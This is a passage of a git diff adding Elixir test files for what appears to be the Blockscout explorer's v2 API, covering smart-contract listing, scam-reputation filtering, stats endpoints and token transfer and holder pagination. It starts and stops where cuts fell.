+ payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_not_verified", + topic: ^topic + }, + :timer.seconds(1) + + :timer.sleep(10) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search", fn conn -> + Conn.resp(conn, 200, "{\"sources\": []}") + end) + + _request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_not_verified", + topic: ^topic + }, + :timer.seconds(1) + + :timer.sleep(10) + + Application.put_env(:explorer, Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand, fetch_interval: 10000) + + _request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + refute_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + refute_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_not_verified", + topic: ^topic + }, + :timer.seconds(1) + + refute_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_verified", + topic: ^topic + }, + :timer.seconds(1) + end + end + end + + for {state_name, migrations_finished?} <- [ + {"completed migrations", true}, + {"migrations in progress", false} + ] do + describe "/smart-contracts" <> " (with #{state_name})" do + setup do + :meck.expect( + Explorer.Chain.SmartContract, + :background_migrations_finished?, + fn -> + unquote(migrations_finished?) + end + ) + + :ok + end + + test "get smart-contract with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + insert(:smart_contract) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/smart-contracts") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "ok" + + assert response == conn |> get("/api/v2/smart-contracts") |> json_response(200) + end + + test "get smart-contract with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + target_contract = insert(:smart_contract) + insert(:scam_badge_to_address, address_hash: target_contract.address_hash) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/smart-contracts") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "scam" + + request = conn |> get("/api/v2/smart-contracts") + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get smart-contract with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + insert(:smart_contract) + + request = conn |> get("/api/v2/smart-contracts") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "ok" + end + + test "get smart-contract with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + target_contract = insert(:smart_contract) + insert(:scam_badge_to_address, address_hash: target_contract.address_hash) + + request = conn |> get("/api/v2/smart-contracts") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "ok" + end + + test "get [] on empty db", %{conn: conn} do + request = get(conn, "/api/v2/smart-contracts") + + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + end + + test "get correct smart contract", %{conn: conn} do + smart_contract = insert(:smart_contract) + request = get(conn, "/api/v2/smart-contracts") + + assert %{"items" => [sc], "next_page_params" => nil} = json_response(request, 200) + compare_item(smart_contract, sc) + assert sc["address"]["is_verified"] == true + assert sc["address"]["is_contract"] == true + end + + test "get filtered smart contracts when flag is set and language is not set", %{conn: conn} do + smart_contracts = [ + {"solidity", insert(:smart_contract, is_vyper_contract: false, language: nil)}, + {"vyper", insert(:smart_contract, is_vyper_contract: true, language: nil)}, + {"yul", insert(:smart_contract, abi: nil, is_vyper_contract: false, language: nil)} + ] + + for {filter, smart_contract} <- smart_contracts do + request = get(conn, "/api/v2/smart-contracts", %{"filter" => filter}) + + assert %{"items" => [sc], "next_page_params" => nil} = json_response(request, 200) + compare_item(smart_contract, sc) + assert sc["address"]["is_verified"] == true + assert sc["address"]["is_contract"] == true + end + end + + test "get filtered smart contracts when flag is set and language is set", %{conn: conn} do + smart_contract = insert(:smart_contract, is_vyper_contract: true, language: :vyper) + insert(:smart_contract, is_vyper_contract: false, language: :solidity) + request = get(conn, "/api/v2/smart-contracts", %{"filter" => "vyper"}) + + assert %{"items" => [sc], "next_page_params" => nil} = json_response(request, 200) + compare_item(smart_contract, sc) + assert sc["address"]["is_verified"] == true + assert sc["address"]["is_contract"] == true + end + + test "get filtered smart contracts when flag is not set and language is set", %{conn: conn} do + smart_contract = insert(:smart_contract, is_vyper_contract: nil, abi: nil, language: :yul) + insert(:smart_contract, is_vyper_contract: nil, language: :vyper) + insert(:smart_contract, is_vyper_contract: nil, language: :solidity) + request = get(conn, "/api/v2/smart-contracts", %{"filter" => "yul"}) + + assert %{"items" => [sc], "next_page_params" => nil} = json_response(request, 200) + compare_item(smart_contract, sc) + assert sc["address"]["is_verified"] == true + assert sc["address"]["is_contract"] == true + end + + if Application.compile_env(:explorer, :chain_type) == :zilliqa do + test "get filtered scilla smart contracts when language is set", %{conn: conn} do + smart_contract = insert(:smart_contract, language: :scilla, abi: nil) + insert(:smart_contract) + request = get(conn, "/api/v2/smart-contracts", %{"filter" => "scilla"}) + + assert %{"items" => [sc], "next_page_params" => nil} = json_response(request, 200) + compare_item(smart_contract, sc) + assert sc["address"]["is_verified"] == true + assert sc["address"]["is_contract"] == true + end + + test "scilla contracts are not returned when yul filter is applied", %{conn: conn} do + insert(:smart_contract, language: :scilla, abi: nil) + request = get(conn, "/api/v2/smart-contracts", %{"filter" => "yul"}) + + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + end + end + + test "check pagination", %{conn: conn} do + smart_contracts = + for _ <- 0..50 do + insert(:smart_contract) + end + |> Enum.sort_by(& &1.id) + + request = get(conn, "/api/v2/smart-contracts") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/smart-contracts", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, smart_contracts) + end + + test "ignores wrong ordering params", %{conn: conn} do + smart_contracts = + for _ <- 0..50 do + insert(:smart_contract) + end + |> Enum.sort_by(& &1.id) + + ordering_params = %{"sort" => "foo", "order" => "bar"} + + request = get(conn, "/api/v2/smart-contracts", ordering_params) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/smart-contracts", ordering_params |> Map.merge(response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, smart_contracts) + end + + test "can order by balance ascending", %{conn: conn} do + smart_contracts = + for i <- 0..50 do + address = insert(:address, fetched_coin_balance: i, verified: true) + insert(:smart_contract, address_hash: address.hash, address: address) + end + |> Enum.reverse() + + ordering_params = %{"sort" => "balance", "order" => "asc"} + + request = get(conn, "/api/v2/smart-contracts", ordering_params) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/smart-contracts", ordering_params |> Map.merge(response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, smart_contracts) + end + + test "can order by balance descending", %{conn: conn} do + smart_contracts = + for i <- 0..50 do + address = insert(:address, fetched_coin_balance: i, verified: true) + insert(:smart_contract, address_hash: address.hash, address: address) + end + + ordering_params = %{"sort" => "balance", "order" => "desc"} + + request = get(conn, "/api/v2/smart-contracts", ordering_params) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/smart-contracts", ordering_params |> Map.merge(response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, smart_contracts) + end + + test "can order by transaction count ascending", %{conn: conn} do + smart_contracts = + for i <- 0..50 do + address = insert(:address, transactions_count: i, verified: true) + insert(:smart_contract, address_hash: address.hash, address: address) + end + |> Enum.reverse() + + ordering_params = %{"sort" => "transactions_count", "order" => "asc"} + + request = get(conn, "/api/v2/smart-contracts", ordering_params) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/smart-contracts", ordering_params |> Map.merge(response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, smart_contracts) + end + + test "can order by transaction count descending", %{conn: conn} do + smart_contracts = + for i <- 0..50 do + address = insert(:address, transactions_count: i, verified: true) + insert(:smart_contract, address_hash: address.hash, address: address) + end + + ordering_params = %{"sort" => "transactions_count", "order" => "desc"} + + request = get(conn, "/api/v2/smart-contracts", ordering_params) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/smart-contracts", ordering_params |> Map.merge(response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, smart_contracts) + end + end + end + + describe "/smart-contracts/counters" do + test "fetch counters", %{conn: conn} do + request = get(conn, "/api/v2/smart-contracts/counters") + + assert %{ + "smart_contracts" => _, + "new_smart_contracts_24h" => _, + "verified_smart_contracts" => _, + "new_verified_smart_contracts_24h" => _ + } = json_response(request, 200) + end + end + + defp compare_item(%SmartContract{} = smart_contract, json) do + assert smart_contract.compiler_version == json["compiler_version"] + + assert smart_contract.optimization == json["optimization_enabled"] + + assert json["language"] == smart_contract |> SmartContract.language() |> to_string() + assert json["verified_at"] + assert !is_nil(smart_contract.constructor_arguments) == json["has_constructor_args"] + assert Address.checksum(smart_contract.address_hash) == json["address"]["hash"] + end + + defp check_paginated_response(first_page_resp, second_page_resp, list) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(list, 50), Enum.at(first_page_resp["items"], 0)) + compare_item(Enum.at(list, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(list, 0), Enum.at(second_page_resp["items"], 0)) + end + + defp prepare_implementation(%{"address_hash" => _} = implementation) do + case Application.get_env(:explorer, :chain_type) do + :filecoin -> + Map.put(implementation, "filecoin_robust_address", nil) + + _ -> + implementation + end + end + + defp prepare_implementation(other), do: other +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/stats_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/stats_controller_test.exs new file mode 100644 index 000000000000..683605e0d003 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/stats_controller_test.exs @@ -0,0 +1,67 @@ +defmodule BlockScoutWeb.API.V2.StatsControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.Chain.Cache.Counters.{AddressesCount, AverageBlockTime} + + describe "/stats" do + setup do + start_supervised!(AddressesCount) + start_supervised!(AverageBlockTime) + + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + + on_exit(fn -> + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + end) + + :ok + end + + test "get all fields", %{conn: conn} do + request = get(conn, "/api/v2/stats") + assert response = json_response(request, 200) + + assert Map.has_key?(response, "total_blocks") + assert Map.has_key?(response, "total_addresses") + assert Map.has_key?(response, "total_transactions") + assert Map.has_key?(response, "average_block_time") + assert Map.has_key?(response, "coin_price") + assert Map.has_key?(response, "total_gas_used") + assert Map.has_key?(response, "transactions_today") + assert Map.has_key?(response, "gas_used_today") + assert Map.has_key?(response, "gas_prices") + assert Map.has_key?(response, "static_gas_price") + assert Map.has_key?(response, "market_cap") + assert Map.has_key?(response, "network_utilization_percentage") + end + end + + describe "/stats/charts/market" do + setup do + configuration = Application.get_env(:explorer, Explorer.Market.MarketHistoryCache) + Application.put_env(:explorer, Explorer.Market.MarketHistoryCache, cache_period: 0) + + :ok + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Market.MarketHistoryCache, configuration) + end) + end + + test "get empty data", %{conn: conn} do + request = get(conn, "/api/v2/stats/charts/market") + assert response = json_response(request, 200) + + assert response["chart_data"] == [] + end + end + + describe "/stats/charts/transactions" do + test "get empty data", %{conn: conn} do + request = get(conn, "/api/v2/stats/charts/transactions") + assert response = json_response(request, 200) + + assert response["chart_data"] == [] + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/token_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/token_controller_test.exs new file mode 100644 index 000000000000..bf202c19bc96 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/token_controller_test.exs @@ -0,0 +1,2660 @@ +defmodule BlockScoutWeb.API.V2.TokenControllerTest do + use EthereumJSONRPC.Case, async: false + use BlockScoutWeb.ConnCase + use BlockScoutWeb.ChannelCase, async: false + use Utils.CompileTimeEnvHelper, bridged_tokens_enabled: [:explorer, [Explorer.Chain.BridgedToken, :enabled]] + + import Mox + import Ecto.Query, only: [from: 2] + + alias Explorer.{Repo, TestHelper} + + alias Explorer.Chain.{Address, Token, Token.Instance, TokenTransfer} + alias Explorer.Chain.Address.CurrentTokenBalance + alias Explorer.Chain.Events.Subscriber + + alias Indexer.Fetcher.OnDemand.TokenInstanceMetadataRefetch, as: TokenInstanceMetadataRefetchOnDemand + alias Indexer.Fetcher.OnDemand.NFTCollectionMetadataRefetch, as: NFTCollectionMetadataRefetchOnDemand + + describe "/tokens/{address_hash}" do + test "get 404 on non existing address", %{conn: conn} do + token = build(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/tokens/0x") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get token", %{conn: conn} do + token = insert(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}") + + assert response = json_response(request, 200) + + compare_item(token, response) + end + end + + describe "/tokens/{address_hash}/counters" do + test "get 404 on non existing address", %{conn: conn} do + token = build(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/counters") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/tokens/0x/counters") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get counters", %{conn: conn} do + token = insert(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/counters") + + assert response = json_response(request, 200) + + assert response["transfers_count"] == "0" + assert response["token_holders_count"] == "0" + end + + test "get not zero counters", %{conn: conn} do + contract_token_address = insert(:contract_address) + token = insert(:token, contract_address: contract_token_address) + + transaction = + :transaction + |> insert(to_address: contract_token_address) + |> with_block() + + insert_list( + 3, + :token_transfer, + transaction: transaction, + token_contract_address: contract_token_address + ) + + _second_page_token_balances = + 1..5 + |> Enum.map( + &insert( + :address_current_token_balance, + token_contract_address_hash: token.contract_address_hash, + value: &1 + 1000 + ) + ) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/counters") + assert json_response(request, 200) + + Process.sleep(500) + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/counters") + assert response = json_response(request, 200) + + assert response["transfers_count"] == "3" + assert response["token_holders_count"] == "5" + end + end + + describe "/tokens/{address_hash}/transfers" do + test "get 200 on non existing address", %{conn: conn} do + token = build(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/tokens/0x/transfers") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get empty list", %{conn: conn} do + token = insert(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers") + + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + end + + test "check pagination", %{conn: conn} do + token = insert(:token) + + token_transfers = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address + ) + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "check that same token_ids within batch squashes", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + id = 0 + + insert(:token_instance, token_id: id, token_contract_address_hash: token.contract_address_hash) + + tt = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn _x -> id end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + end + + token_transfers = + for i <- tt do + %TokenTransfer{i | token_ids: [id], amount: Decimal.new(1275)} + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "check that pagination works for 721 tokens", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + token_transfers = + for i <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: [i], + token_type: "ERC-721" + ) + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "check that pagination works fine with 1155 batches #1 (large batch)", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + token_transfers = + for i <- 0..50 do + %TokenTransfer{tt | token_ids: [i], amount: i} + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "check that pagination works fine with 1155 batches #2 some batches on the first page and one on the second", + %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + transaction_1 = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt_1 = + insert(:token_transfer, + transaction: transaction_1, + block: transaction_1.block, + block_number: transaction_1.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..24, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..24, fn x -> x end) + ) + + token_transfers_1 = + for i <- 0..24 do + %TokenTransfer{tt_1 | token_ids: [i], amount: i} + end + + transaction_2 = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt_2 = + insert(:token_transfer, + transaction: transaction_2, + block: transaction_2.block, + block_number: transaction_2.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(25..49, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(25..49, fn x -> x end) + ) + + token_transfers_2 = + for i <- 25..49 do + %TokenTransfer{tt_2 | token_ids: [i], amount: i} + end + + tt_3 = + insert(:token_transfer, + transaction: transaction_2, + block: transaction_2.block, + block_number: transaction_2.block_number, + token_contract_address: token.contract_address, + token_ids: [50], + token_type: "ERC-1155", + amounts: [50] + ) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers_1 ++ token_transfers_2 ++ [tt_3]) + end + + test "check that pagination works fine with 1155 batches #3", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + transaction_1 = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt_1 = + insert(:token_transfer, + transaction: transaction_1, + block: transaction_1.block, + block_number: transaction_1.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..24, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..24, fn x -> x end) + ) + + token_transfers_1 = + for i <- 0..24 do + %TokenTransfer{tt_1 | token_ids: [i], amount: i} + end + + transaction_2 = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt_2 = + insert(:token_transfer, + transaction: transaction_2, + block: transaction_2.block, + block_number: transaction_2.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(25..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(25..50, fn x -> x end) + ) + + token_transfers_2 = + for i <- 25..50 do + %TokenTransfer{tt_2 | token_ids: [i], amount: i} + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address.hash}/transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers_1 ++ token_transfers_2) + end + end + + describe "/tokens/{address_hash}/holders" do + test "get 200 on non existing address", %{conn: conn} do + token = build(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/holders") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/tokens/0x/holders") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get empty list", %{conn: conn} do + token = insert(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/holders") + + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + end + + test "check pagination", %{conn: conn} do + token = insert(:token) + + token_balances = + for i <- 0..50 do + insert( + :address_current_token_balance, + token_contract_address_hash: token.contract_address_hash, + value: i + 1000 + ) + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/holders") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address.hash}/holders", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_holders_paginated_response(response, response_2nd_page, token_balances) + end + + test "check pagination with the same values", %{conn: conn} do + token = insert(:token) + + token_balances = + for _ <- 0..50 do + insert( + :address_current_token_balance, + token_contract_address_hash: token.contract_address_hash, + value: 1000 + ) + end + |> Enum.sort_by(fn x -> x.address_hash end, :asc) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/holders") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address.hash}/holders", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_holders_paginated_response(response, response_2nd_page, token_balances) + end + end + + describe "/tokens" do + defp check_tokens_pagination(tokens, conn, additional_params \\ %{}) do + request = get(conn, "/api/v2/tokens", additional_params) + assert response = json_response(request, 200) + request_2nd_page = get(conn, "/api/v2/tokens", additional_params |> Map.merge(response["next_page_params"])) + assert response_2nd_page = json_response(request_2nd_page, 200) + check_paginated_response(response, response_2nd_page, tokens) + + # by fiat_value + tokens_ordered_by_fiat_value = Enum.sort(tokens, &(Decimal.compare(&1.fiat_value, &2.fiat_value) in [:eq, :lt])) + + request_ordered_by_fiat_value = + get(conn, "/api/v2/tokens", additional_params |> Map.merge(%{"sort" => "fiat_value", "order" => "desc"})) + + assert response_ordered_by_fiat_value = json_response(request_ordered_by_fiat_value, 200) + + request_ordered_by_fiat_value_2nd_page = + get( + conn, + "/api/v2/tokens", + additional_params + |> Map.merge(%{"sort" => "fiat_value", "order" => "desc"}) + |> Map.merge(response_ordered_by_fiat_value["next_page_params"]) + ) + + assert response_ordered_by_fiat_value_2nd_page = json_response(request_ordered_by_fiat_value_2nd_page, 200) + + check_paginated_response( + response_ordered_by_fiat_value, + response_ordered_by_fiat_value_2nd_page, + tokens_ordered_by_fiat_value + ) + + tokens_ordered_by_fiat_value_asc = + Enum.sort(tokens, &(Decimal.compare(&1.fiat_value, &2.fiat_value) in [:eq, :gt])) + + request_ordered_by_fiat_value_asc = + get(conn, "/api/v2/tokens", additional_params |> Map.merge(%{"sort" => "fiat_value", "order" => "asc"})) + + assert response_ordered_by_fiat_value_asc = json_response(request_ordered_by_fiat_value_asc, 200) + + request_ordered_by_fiat_value_asc_2nd_page = + get( + conn, + "/api/v2/tokens", + additional_params + |> Map.merge(%{"sort" => "fiat_value", "order" => "asc"}) + |> Map.merge(response_ordered_by_fiat_value_asc["next_page_params"]) + ) + + assert response_ordered_by_fiat_value_asc_2nd_page = + json_response(request_ordered_by_fiat_value_asc_2nd_page, 200) + + check_paginated_response( + response_ordered_by_fiat_value_asc, + response_ordered_by_fiat_value_asc_2nd_page, + tokens_ordered_by_fiat_value_asc + ) + + # by holders + tokens_ordered_by_holders = Enum.sort(tokens, &(&1.holder_count <= &2.holder_count)) + + request_ordered_by_holders = + get(conn, "/api/v2/tokens", additional_params |> Map.merge(%{"sort" => "holders_count", "order" => "desc"})) + + assert response_ordered_by_holders = json_response(request_ordered_by_holders, 200) + + request_ordered_by_holders_2nd_page = + get( + conn, + "/api/v2/tokens", + additional_params + |> Map.merge(%{"sort" => "holders_count", "order" => "desc"}) + |> Map.merge(response_ordered_by_holders["next_page_params"]) + ) + + assert response_ordered_by_holders_2nd_page = json_response(request_ordered_by_holders_2nd_page, 200) + + check_paginated_response( + response_ordered_by_holders, + response_ordered_by_holders_2nd_page, + tokens_ordered_by_holders + ) + + tokens_ordered_by_holders_asc = Enum.sort(tokens, &(&1.holder_count >= &2.holder_count)) + + request_ordered_by_holders_asc = + get(conn, "/api/v2/tokens", additional_params |> Map.merge(%{"sort" => "holders_count", "order" => "asc"})) + + assert response_ordered_by_holders_asc = json_response(request_ordered_by_holders_asc, 200) + + request_ordered_by_holders_asc_2nd_page = + get( + conn, + "/api/v2/tokens", + additional_params + |> Map.merge(%{"sort" => "holders_count", "order" => "asc"}) + |> Map.merge(response_ordered_by_holders_asc["next_page_params"]) + ) + + assert response_ordered_by_holders_asc_2nd_page = json_response(request_ordered_by_holders_asc_2nd_page, 200) + + check_paginated_response( + response_ordered_by_holders_asc, + response_ordered_by_holders_asc_2nd_page, + tokens_ordered_by_holders_asc + ) + + :timer.sleep(200) + + # by circulating_market_cap + tokens_ordered_by_circulating_market_cap = + Enum.sort(tokens, &(&1.circulating_market_cap <= &2.circulating_market_cap)) + + request_ordered_by_circulating_market_cap = + get( + conn, + "/api/v2/tokens", + additional_params |> Map.merge(%{"sort" => "circulating_market_cap", "order" => "desc"}) + ) + + assert response_ordered_by_circulating_market_cap = json_response(request_ordered_by_circulating_market_cap, 200) + + request_ordered_by_circulating_market_cap_2nd_page = + get( + conn, + "/api/v2/tokens", + additional_params + |> Map.merge(%{"sort" => "circulating_market_cap", "order" => "desc"}) + |> Map.merge(response_ordered_by_circulating_market_cap["next_page_params"]) + ) + + assert response_ordered_by_circulating_market_cap_2nd_page = + json_response(request_ordered_by_circulating_market_cap_2nd_page, 200) + + check_paginated_response( + response_ordered_by_circulating_market_cap, + response_ordered_by_circulating_market_cap_2nd_page, + tokens_ordered_by_circulating_market_cap + ) + + tokens_ordered_by_circulating_market_cap_asc = + Enum.sort(tokens, &(&1.circulating_market_cap >= &2.circulating_market_cap)) + + request_ordered_by_circulating_market_cap_asc = + get( + conn, + "/api/v2/tokens", + additional_params |> Map.merge(%{"sort" => "circulating_market_cap", "order" => "asc"}) + ) + + assert response_ordered_by_circulating_market_cap_asc = + json_response(request_ordered_by_circulating_market_cap_asc, 200) + + request_ordered_by_circulating_market_cap_asc_2nd_page = + get( + conn, + "/api/v2/tokens", + additional_params + |> Map.merge(%{"sort" => "circulating_market_cap", "order" => "asc"}) + |> Map.merge(response_ordered_by_circulating_market_cap_asc["next_page_params"]) + ) + + assert response_ordered_by_circulating_market_cap_asc_2nd_page = + json_response(request_ordered_by_circulating_market_cap_asc_2nd_page, 200) + + check_paginated_response( + response_ordered_by_circulating_market_cap_asc, + response_ordered_by_circulating_market_cap_asc_2nd_page, + tokens_ordered_by_circulating_market_cap_asc + ) + end + + test "get empty list", %{conn: conn} do + request = get(conn, "/api/v2/tokens") + + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + end + + test "ignores wrong ordering params", %{conn: conn} do + tokens = + for i <- 0..50 do + insert(:token, 